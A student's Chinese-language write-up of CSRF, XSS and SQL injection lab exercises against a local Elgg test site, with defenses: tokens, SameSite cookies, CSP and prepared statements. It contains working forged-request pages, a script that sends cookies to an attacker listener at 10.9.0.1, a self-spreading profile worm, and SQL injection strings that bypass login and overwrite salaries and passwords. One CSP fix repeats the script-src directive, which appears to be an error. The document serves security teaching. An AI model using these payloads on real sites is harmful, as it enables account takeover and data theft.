Lab1 CSRF攻击实验
实验原理
Cross Site Request Forgery, 跨域请求伪造
修改 /etc/hosts
:
sudo vim /etc/hosts
实验所需的各个账户的密码:
----------------------------
UserName | Password
----------------------------
admin | seedelgg
alice | seedalice
boby | seedboby
charlie | seedcharlie
samy | seedsamy
1 观察HTTP请求
可以看到get
请求。
2 使用GET请求进行CSRF攻击
在这个任务中,我们需要Elgg社交网络中的两个人:Alice和Samy。萨米想成为一个爱丽丝的朋友,但爱丽丝拒绝把他添加到她的埃尔格朋友名单。萨米决定利用CSRF攻击实现他的目标。他给爱丽丝发送了一个URL(通过电子邮件或在Elgg发布的帖子);爱丽丝很好奇,咔哒一声在网址上找到了萨米的网站:www.attacker32.com。假装你是萨米描述你如何构建网页的内容,所以一旦Alice访问网页,Samy被添加到Alice的好友列表中(假设Alice与Elgg有一个活跃的会话)。要向受害者添加朋友,我们需要确定合法的add - friend HTTP请求(一个GET请求)的样子。我们可以使用“HTTP Header Live”工具来进行调查。在这个任务中,你不允许编写JavaScript代码来启动CSRF攻击。你的工作是让攻击成功当Alice访问网页时,甚至不需要在页面上做任何点击(提示:你可以使用img标记,它会自动触发一个HTTP GET请求)。埃尔格已经实施了一个对抗CSRF攻击的对策。在添加好友的HTTP请求中,您可能会注意到,每个请求都包含两个奇怪的参数,即elgg ts和elgg令牌。这些参数由反对策使用,因此如果它们不包含正确的值,请求将包含正确的值不能被埃尔格接受。我们已经禁用了这个实验室的对策,所以没必要包括这两个参数在伪造的请求中。
用samy的账号登录,然后member下,alice,点击Add friend按钮添加好友:
通过观察我们得知添加好友的http请求是action/friends/add?friend=56(此处为Alice好友id号),打开samy的好友界面,按F12获取网页元素,得到samy的好友ID号是59。
构造CSRF攻击请求:
http://www.seed-server.com/action/friends/add?friend=59
将此链接放入我们的攻击网站http://www.attacker32.com/index.html中:
<!Doctype html>
<html>
<head>
<title>You have been attacked!</title>
</head>
<body>
<img src="http://www.seed-server.com/action/friends/add?friend=59">
<h1>You have been attacked!</h1>
<body>
</html>
在Bob的个人博客中公布此网址,并谎称此网址是一个有网络安全期末考题的相关网址。
Alice看到samy的博客:
当Alice点击进入这个网址后,看到如下页面:
点击图片,发现samy已经在她的好友名单里了。
3 使用POST请求进行CSRF攻击
登录Alice的账号,发布任意一篇博客,在HTTP Header Live找到相关的Http请求,根据实验指导书构建我们的攻击网站,添加JavaScript部分。
对我们的攻击网站进行修改:
<!Doctype html>
<html>
<head>
<title>You have been attacked!</title>
</head>
<body>
<img src="http://www.seed-server.com/action/friends/add?friend=59">
<h1>You have been attacked!</h1>
<body>
<script type="text/javascript">
function forge_post() {
var fields = "";
fields += "<input type='hidden' name='name' value='Alice'>";
fields += "<input type='hidden' name='briefdescription' value='Samy is my Hero'>";
fields += "<input type='hidden' name='name' value='Alice'>";
fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
fields += "<input type='hidden' name='guid' value='56'>";
var p = document.createElement("form");
p.action = "http://www.seed-server.com/action/profile/edit";
p.innerHTML = fields;
p.method = "post";
document.body.appendChild(p);
p.submit();
}
window.onload = function() { forge_post(); }
</script>
<html>
登录 Samy 账号,我们先试着修改自己的 profile,点击链接即发出一个POST请求的表单。
当Alice点击时,发现主页显示Samy是我的英雄:
4 启用Elgg的对策
为了抵御 CSRF 攻击,Web 应用程序可以在其页面中嵌入一个秘密令牌。来自这些页面的所有请求都必须携带此令牌,否则它们将被视为跨站点请求,并且不会具有与同站点请求相同的权限。攻击者将无法获得这个秘密令牌,因此他们的请求很容易被识别为跨站请求。
Elgg 使用这种秘密令牌方法作为其内置的反制措施来抵御 CSRF 攻击。我们已经禁用了使攻击起作用的对策。 Elgg 在请求中嵌入了两个参数__elgg_ts
和__elgg_token
。这两个参数被添加到 POST 请求的 HTTP 消息正文和 HTTP GET 请求的 URL 字符串中。服务器将在处理请求之前验证它们。
Elgg 向所有 HTTP 请求添加安全令牌和时间戳。以下 HTML 代码存在于所有需要用户操作的表单中。这是两个隐藏字段;提交表单时,将这两个隐藏参数添加到请求中:
<input type = "hidden" name = "__elgg_ts" value = "" />
<input type = "hidden" name = "__elgg_token" value = "" />
Elgg 还将安全令牌和时间戳的值分配给 JavaScript 变量,因此同一页面上的 JavaScript 代码可以轻松访问它们。
elgg.security.token.__elgg_ts;
elgg.security.token.__elgg_token;
秘密令牌和时间戳由 vendor/elgg/elgg/views/default/input/securitytoken.php
模块添加到 Elgg 的网页。
elgg Web 应用程序验证生成的令牌和时间戳以抵御 CSRF 攻击。每个用户操作都会调用 Csrf.php
中的验证函数,该函数会验证令牌。如果令牌不存在或无效,则该操作将被拒绝,用户将被重定向。在我们的设置中,我们在此函数的开头添加了一个返回,基本上禁用了验证。
故:我们进入Elgg容器,进入 /var/www/elgg/vendor/elgg/elgg/engine/classes/Elgg/Security
文件夹,从Csrf.php
中删除return
语句。
容器内部提供了一个名为
nano
的简单编辑器。
试图将Alice的个人资料改为Samy is really my Hero!!!,发现攻击全部失效,无法成功。
5 试验 SameSite Cookie 方法
现在大多数浏览器都实现了一种叫做 SameSite cookie 的机制,这是一种与 cookie 相关联的属性。SameSite Cookie 允许服务器要求某个 cookie 在跨站请求时不会被发送,从而可以阻止跨站请求伪造攻击(CSRF)。
我们访问 www.example32.com。然后点击各个按钮。
5.1 同域请求
链接:
GET请求:
POST请求:
5.2 跨域请求
链接:
GET请求:
POST请求:
我们得到以下结论:
SameSite的三个属性控制Cookie
的等级:
- Strict最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。换言之,只有当前网页的 URL 与请求目标一致,才会带上 Cookie。
- Lax规则稍稍放宽,大多数情况也是不发送第三方 Cookie,但是导航到目标网址的 Get 请求除外。
导航到目标网址的 GET 请求,只包括三种情况:链接,预加载请求,GET 表单。详见下表。
设置了Strict
或Lax
以后,基本就杜绝了 CSRF 攻击。当然,前提是用户浏览器支持 SameSite 属性。
- None属性:等同于关闭SameSite
Lab2 XSS攻击实验
实验原理
跨站脚本(Cross-site scripting,简称为:CSS, 但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,跨站脚本攻击缩写为XSS)是一种网站应用程序的安全漏洞攻击。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、 LiveScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
反射型XSS攻击原理如下图,其通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor(chrome内置的XSS保护)、NoScript等防御手段的影响较大,所以它的危害性较存储型要小:
存储型XSS攻击原理如下图,其中,恶意代码会被保存在服务器中,导致其它用户(前端)和管理员(前后端)在访问资源时执行了恶意代码,用户访问服务器-跨站链接-返回跨站代码:
DOM是文档对象模型( Document Object Model)的缩写。它是HTML文档的对象表示,同时也是外部内容(例如 JavaScript)与HTML元素之间的接口。
它是基于DoM文档对象模型的一种漏洞,并且DOM型XSS是基于JS上的,并不需要与服务器进行交互。其通过修改页面DOM节点数据信息而形成的ⅩSS跨站脚本攻击。不同于反射型XSS和存储型XSS,基于DOM的XSS跨站脚本攻击往往需要针对具体的 Javascript DOM代码进行分析,并根据实际情况进行XSS跨站脚本攻击的利用。
1 发布恶意消息以显示警报窗口
这个 Task 用来熟悉 js 脚本。登录 Samy 账号,修改 profile 如图所示:
<script>
alert('XSS');
</script>
保存后,看到弹出一个内容为“XSS”的弹窗:
2 发布恶意消息以显示Cookie
这个 Task 用来熟悉如何获取 Cookie。修改 Samy 的 profile 如图所示:
<script>
alert(document.cookie);
</script>
保存后,看到弹出一个内容为Cookie的弹窗:
3 从受害者的机器上盗窃Cookie
这个 Task 用来熟悉如何发回数据。修改 Samy 的 profile 如图所示:
JavaScript 代码将 cookie 发送到攻击者机器(IP 地址为 10.9.0.1)的端口 5555,其中攻击者有一个 TCP 服务器监听相同的端口。
<script>
document.write('<img src=http://10.9.0.1:5555?c=' +
escape(document.cookie) +
'>');
</script>
在端口上开启监听:
nc -lknv 5555
登录 Alice 账号,点进 Samy 的 profile,看到端口返回了发来的Cookie:
4 成为受害者的朋友
这个 Task 利用 js 实现 GET 方法。修改 Samy 的 profile 如图所示:
<script type="text/javascript">
window.onload=function()
{
var Ajax=null;//使用Ajax实现Javascript代码,方便在后台发起HTTP请求,防止因Javascript代码发起普通HTTP请求离开当前页面,引起用户怀疑
//设置时间戳和秘密令牌值,使得请求被视为同站请求
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;//将当前页面Javascript代码中的时间戳变量值赋给elgg_ts
var token="&__elgg_token="+elgg.security.token.__elgg_token;//将当前页面Javascript代码中的秘密令牌变量值赋给elgg_ts
//创建url
var sendurl="http://www.seed-server.com/action/friends/add"//加好友的网页
+"?friend=59" + token + ts;//加上好友ID,token,ts字段构成url
//创建并发送Ajax请求加好友
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.send();
}
</script>
登录 Alice 账号,点进 Samy 的 profile,看到已经添加了好友:
5 修改受害者档案
这个 Task 利用 js 实现 POST 方法。修改 Samy 的 profile 如图所示:
<script type="text/javascript">
window.onload = function(){
var userName="&name="+elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token + ts + userName +
"&description=samy%20is%20my%20hero&accesslevel[description]=2" +
guid;
var samyGuid=59;
var sendurl="http://www.seed-server.com/action/profile/edit";
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
登录 Alice 账号,查看 Samy 的 profile,看到自己的 profile 已经被修改了:
行14不能被去除:这行用来判断当前用户是不是攻击者自身,如果是,就不进行攻击。如果去掉这行代码,会导致攻击者保存自己的 profile 后,description 立即被改变,无法实施攻击。
6 编写自传播XSS蠕虫
要成为真正的蠕虫,恶意 JavaScript 程序应该能够自我传播。即,每当有人查看受感染的个人资料时,不仅他们的个人资料会被修改,蠕虫还会传播到他们的个人资料中,进一步影响查看这些新感染的个人资料的其他人。
编辑 Samy 的 profile,使其可以把自己赋值到别人的 profile 中:
<script id="worm">
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
window.onload = function(){
var userName="&name="+elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token + ts + userName +
"&description=" + wormCode + "&accesslevel[description]=2" +
"&briefdescription=samy%20is%20my%20hero&accesslevel[briefdescription]=2" +
guid;
var samyGuid=59;
var sendurl="http://www.seed-server.com/action/profile/edit";
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
登录 Alice 账号,查看 Samy 的 profile,看到自己的 profile 已经被修改了:
登录 Charlie 账号,查看 Alice 的 profile,看到自己的 profile 已经被修改了:
7 使用CSP抵御XSS攻击
内容安全策略 (CSP) 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。
XSS 漏洞的根本问题是 HTML 允许 JavaScript 代码与数据混合。因此,要解决这个根本问题,我们需要将代码与数据分开。在 HTML 页面中包含 JavaScript 代码有两种方法,一种是内联方法,另一种是链接方法。
内联(嵌入)方式直接将代码放在页面内部,而链接方式是将代码放在外部文件中,然后从页面内部链接到它。
7.1 配置CSP
在/etc/hosts
中更改DNS配置:
三个网站www.example32a.com, www.example32b.com, www.example32c.com同时使用相同的HTML文件,即index.html,其内容如下:
#脚本1,设置nonce值为111-111-111,脚本试图将区域1内容设置为OK
<script type="text/javascript" nonce="111-111-111">
document.getElementById(’area1’).innerHTML = "OK";
</script>
#脚本2,设置nonce值为222-222-222,脚本试图将区域2内容设置为OK
<script type="text/javascript" nonce="222-222-222">
document.getElementById(’area2’).innerHTML = "OK";
</script>
#脚本3,没有nonce值,试图将区域3内容设置为OK
<script type="text/javascript">
document.getElementById(’area3’).innerHTML = "OK";
</script>
#脚本4,执行代码存放于本站的script_area4.js文件中
<script src="script_area4.js"> </script>
#脚本5,执行代码存放于http://www.example60.com的script_area5.js文件中
<script src="http://www.example60.com/script_area5.js"> </script>
#脚本6,执行代码存放于http://www.example70.com的script_area6.js文件中
<script src="http://www.example70.com/script_area6.js"> </script>
</html>
配置CSP的两种方法:
①Apache服务器可以为所有相应报文设置HTTP头部
②在网络应用程序中配置CSP
在/etc/apache2/sites-available
中查看apache csp.conf
:
#www.example32a.com不设置CSP
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example32a.com
DirectoryIndex index.html
</VirtualHost>
#www.example32b.com通过Apache设置HTTP响应报文头部来设置CSP(方法①)
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example32b.com
DirectoryIndex index.html
Header set Content-Security-Policy " \ #开启CSP模式
default-src 'self'; \ #允许来自本站的嵌入式Javascript脚本
script-src 'self' *.example70.com \ #允许来自example70.com的嵌入式Javascript脚本
"
</VirtualHost>
#www.example32c.com通过网络应用来设置CSP(方法②)
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example32c.com
DirectoryIndex phpindex.php #访问phpindex,php文件来加载该网页,并将关于CSP的配置写在该文件中
</VirtualHost>
phpindex.php:
<?php
$cspheader = "Content-Security-Policy:". #开启CSP策略
"default-src 'self';". #允许来自本站的嵌入式Javascript脚本
"script-src 'self' 'nonce-111-111-111' *.example70.com". #允许来自本站的嵌入式脚本,来自example70.com的嵌入式脚本,来自nonce值为111-111-111的嵌入式脚本
"";
header($cspheader);
?>
<?php include 'index.html';?>
重启apache
服务器:
service apache2 restart
网页测试结果见下节。
7.2 测试www.example32a.com
该网站没有开启CSP防御机制,故六个script脚本均被执行成功,所有项目都是OK,点击按钮弹出弹窗。
7.3 测试www.example32b.com
根据example32b.com的CSP配置,可知其仅允许本站和example70.com的引入式脚本,故index.html中的脚本4,6成功执行
脚本1,2使用的是嵌入式脚本,虽然有nonce值,但是在HTTP头部中规定的CSP策略中并没允许任何嵌入式代码使用nonce值进行认证
脚本3属于嵌入式代码,不予执行
脚本5来源网站example60.com不可信,不予执行
按钮7属于嵌入式代码,不被允许故不显示相应内容
7.4 测试www.example32c.com
根据example32c.com的CSP配置,可知其允许本站和example70.com的引入式脚本,以及nonce值为111-111-111的嵌入式代码,故脚本1nonce值符合,被嵌入执行,1区域显示为OK;脚本4来自本站,脚本6来自example70.com,均为可信来源,被执行
脚本2的nonce值为222-222-222,与CSP配置要求的值不相符,故不予执行
脚本3为嵌入式代码且无nonce值进行认证,故不予执行
脚本5来源网站example60.com不可信,故不予执行
按钮7属于嵌入式代码,无相应nonce值,故不显示相应内容
7.5 修改代码
7.5.1 修改example32b.com的CSP配置
修改Apache配置,使得区域5显示为OK:
#www.example32b.com通过Apache设置HTTP响应报文头部来设置CSP(方法①)
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example32b.com
DirectoryIndex index.html
Header set Content-Security-Policy " \ #开启CSP模式
default-src 'self'; \ #允许来自本站的嵌入式Javascript脚本
script-src 'self' *.example70.com \ #允许来自example70.com,example70.com的嵌入式Javascript脚本
script-src 'self' *.example60.com \ #允许来自example60.com,example70.com的嵌入式Javascript脚本
"
</VirtualHost>
7.5.2 修改example32c.com的CSP配置
修改相应php代码,使得区域2,5显示为OK
<?php
$cspheader = "Content-Security-Policy:". #开启CSP策略
"default-src 'self';". #允许来自本站的嵌入式Javascript脚本
"script-src 'self' 'nonce-111-111-111' 'nonce-222-222-222' *.example70.com *.example60.com".
"";
header($cspheader);
?>
<?php include ’index.html’;?>
CSP明确告诉了网站哪些资源可以被加载,是可信的,所以可以防止XSS攻击使用不可信来源的脚本对网站进行攻击。
Lab3 SQL注入实验
Task1 熟悉SQL语句
Task2 使用SELECT语句进行SQL注入攻击
2.1 来自网页的SQL注入攻击
进入unsafe_home.php,看到如下判断:
由此,我们只需把判断 Password 的部分屏蔽即可:admin';#
2.2 来自命令行的SQL注入攻击
Curl是利用URL语法在命令行下工作的文件传输工具,它可以获得页面、获取表单。
我们使用curl发起SQL注入攻击,获取相应网址对应的页面:
curl http://www.seed-server.com/unsafe_home.php?username=admin%27%3B%23&Password=
其中%27
指'
,%3B
指;
,%23
指#
。
同样发现显示了所有用户的信息。
2.3 附加新的SQL语句
注入:
Alice'; update credential set name=A where ID=1;#
可以看到注入不成功:
Task3 UPDATE语句的SQL注入攻击
3.1 修改自己的工资
使用Alice';#
进入系统,看到如下界面:
观察 unsafe_edit_backend.php,看到有如下判断:
$hashed_pwd = sha1($input_pwd);
$sql = "UPDATE credential SET
nickname=’$input_nickname’,
email=’$input_email’,
address=’$input_address’,
Password=’$hashed_pwd’,
PhoneNumber=’$input_phonenumber’
WHERE ID=$id;";
$conn->query($sql);
注入:
',salary='30000' where ID=1;#
我们看到,工资已经被更新:
3.2 修改他人的工资
把 Boby 的薪水改成 114514:
',salary='114514' where ID=2;#
进入Boby的系统,发现工资已经被更改:
3.3 修改其他人的密码
我们发现密码采用的是sha1
加密:
进行sha1
加密:
注入:
',Password='5494546fc6fa7df36dfa3d81e94915ae93c2337a' where ID=1;#
我们看到Alice需要用qzs2022
密码进行登录。
Task4 防御SQL注入攻击
登录http://www.seed-server.com/defense/
参数与查询分离。修改 unsafe.php,做如下改动:
$stmt = $conn->prepare("SELECT id, name, eid, salary, ssn
FROM credential
WHERE name = ? and Password = ? ");
$stmt->bind_param("ss", $input_uname, $hashed_pwd);
$stmt->execute();
$stmt->bind_result($id, $name, $eid, $salary, $ssn);
$stmt->fetch();
可以看到攻击失败: